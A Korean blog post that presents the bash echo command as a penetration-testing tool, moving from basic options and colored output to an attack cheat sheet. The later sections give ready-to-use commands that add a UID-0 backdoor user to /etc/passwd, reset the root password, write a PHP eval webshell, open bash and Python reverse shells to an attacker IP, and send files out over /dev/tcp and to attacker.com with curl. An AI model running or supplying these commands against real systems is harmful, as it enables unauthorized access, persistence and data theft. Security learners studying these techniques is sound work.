August 24, 2025
30 Views
Welcome

Echo 명령어 상세 설명 및 침투 테스트 응용

본 문서는 Echo 명령어의 침투 테스트에서의 다양한 활용법을 심도 있게 설명합니다. 기본 옵션, 색상 출력, 형식화된 출력, 파일 조작, 문자열 표시, IP 전달, 사용자 관리, 비밀번호 변경, 명령어 실행, Base64 인코딩, 역쉘, 파일 전송 등의 기법을 포함합니다. 본문 내용은 Echo 명령어의 일반적인 사용법과 실제 침투 테스트 환경에서의 적용 사례를 다루고 있으며, 보안 애호가와 침투 테스트 담당자의 참고 학습에 매우 적합합니다.

Echo의 침투 테스트 활용

Echo 주요 옵션

기본 옵션

bash
1# -n: 끝에 줄 바꿈 문자 출력 안 함
2echo -n "Hello"  # 출력: Hello
3echo "Hello"     # 출력: Hello\n
4
5# -e: 이스케이프 문자 해석 활성화
6echo -e "Hello\nWorld"  # 출력: Hello
7                        # World
8
9# -E: 이스케이프 문자 해석 비활성화 (기본값)
10echo -E "Hello\nWorld"  # 출력: Hello\nWorld
11
12# 자주 사용하는 이스케이프 문자
13echo -e "\a"     # 벨 소리
14echo -e "\b"     # 백스페이스
15echo -e "\c"     # 줄 바꿈 없음
16echo -e "\f"     # 폼 피드
17echo -e "\n"     # 줄 바꿈
18echo -e "\r"     # 캐리지 리턴
19echo -e "\t"     # 탭
20echo -e "\v"     # 수직 탭
21echo -e "\\"     # 백슬래시

색상 출력

bash
1# 텍스트 색상
2echo -e "\033[31m빨간색 텍스트\033[0m"    # 빨간색
3echo -e "\033[32m녹색 텍스트\033[0m"    # 녹색
4echo -e "\033[33m노란색 텍스트\033[0m"    # 노란색
5echo -e "\033[34m파란색 텍스트\033[0m"    # 파란색
6echo -e "\033[35m보라색 텍스트\033[0m"    # 보라색
7echo -e "\033[36m청록색 텍스트\033[0m"    # 청록색
8
9# 배경색
10echo -e "\033[41m빨간색 배경\033[0m"    # 빨간색 배경
11echo -e "\033[42m녹색 배경\033[0m"    # 녹색 배경
12echo -e "\033[43m노란색 배경\033[0m"    # 노란색 배경
13
14# 텍스트 스타일
15echo -e "\033[1m굵은 텍스트\033[0m"     # 굵은 글씨
16echo -e "\033[4m밑줄 텍스트\033[0m"   # 밑줄
17echo -e "\033[5m깜빡이는 텍스트\033[0m"     # 깜빡임

형식 지정 출력

bash
1# 변수 사용
2name="World"
3echo "Hello $name"      # 출력: Hello World
4echo "Hello ${name}"    # 출력: Hello World
5
6# 명령어 치환
7echo "현재 시간: $(date)"
8echo "현재 시간: `date`"
9
10# 특수 문자 이스케이프
11echo "This is a \$dollar sign"    # 출력: This is a $dollar sign
12echo "This is a \"quote\""        # 출력: This is a "quote"

파일 조작 옵션

bash
1# 파일에 추가
2echo "new line" >> file.txt
3
4# 파일 덮어쓰기
5echo "new content" > file.txt
6
7# 여러 줄 파일 생성
8echo -e "line1\nline2\nline3" > multiline.txt
9
10# here 문서 사용
11echo << EOF > file.txt
12line1
13line2
14line3
15EOF

Echo 문자열 표시

bash
1echo "Hello ICTRUN"
2 Hello ICTRUN
3
4echo "$str" Good Evening 
5 Good Evening

ipv4 ipforward 활성화

bash
1echo 1 > /proc/sys/net/ipv4/ip_forward

root 권한 사용자 추가

bash
1echo "hacker:$(openssl passwd -1 -salt 'salt' 'password'):0:0::/:/bin/bash" >> /etc/passwd

root 비밀번호 변경

bash
1echo "root:newpassword" | chpasswd

echo -e를 이용한 비밀번호 무인 변경

bash
1echo -e "newpassword\nnewpassword" | passwd username

명령어 실행과 base64 조합

bash
1echo "whoami" | base64
2echo "d2hvYW1pCg==" | base64 -d | bash

Base64를 이용한 php 원격 명령어 실행 코드 삽입 (1.php)

bash
1echo "<?php eval(base64_decode('ZWNobyAiSGVsbG8gV29ybGQiOw==')); ?>" > 1.php

역 쉘 실행

bash
1# Bash 역 쉘
2echo "bash -i >& /dev/tcp/attacker_ip/4444 0>&1" | bash
3
4# Python 역 쉘
5echo "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"attacker_ip\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"]);'" | bash

파일 조작

bash
1# 파일 생성
2echo "content" > file.txt
3
4# 내용 추가
5echo "more content" >> file.txt
6
7# 파일 비우기
8echo "" > file.txt

환경 변수 조작

bash
1# 환경 변수 설정
2echo "export PATH=/new/path:$PATH" >> ~/.bashrc
3
4# 프록시 설정 추가
5echo "export http_proxy=http://proxy:port" >> ~/.bashrc

시스템 설정 변경

bash
1# 시스템 제한 변경
2echo "* soft nofile 65535" >> /etc/security/limits.conf
3
4# 커널 매개변수 변경
5echo "net.ipv4.tcp_syncookies = 1" >> /etc/sysctl.conf

파일 전송

파일 전송

bash
1# 방법 1: nc 사용
2export LFILE=/tmp/1.tar.gz
3bash -c 'echo -e "POST / HTTP/0.9\n\n$(<$LFILE)" > /dev/tcp/1.1.1.1/4422'
4
5# 방법 2: base64 사용
6cat file.txt | base64 | echo "$(cat -)" > file.txt.b64

파일 수신

bash
1# 방법 1: nc 사용
2nc -v -l -p 4422 > 1.tar.gz
3
4# 방법 2: base64 사용
5cat file.txt.b64 | base64 -d > file.txt

파일 전송의 다른 방법

bash
1# curl을 이용한 파일 업로드
2echo "curl -F 'file=@/path/to/file' http://attacker.com/upload"
3
4# wget을 이용한 파일 다운로드
5echo "wget http://attacker.com/file -O /path/to/save"

Enjoyed this article?

Share it with your friends and colleagues!

Welcome
Last updated: August 25, 2025
相关文章
正在检查服务状态...
Hello World - Welcome to My Blog - kuno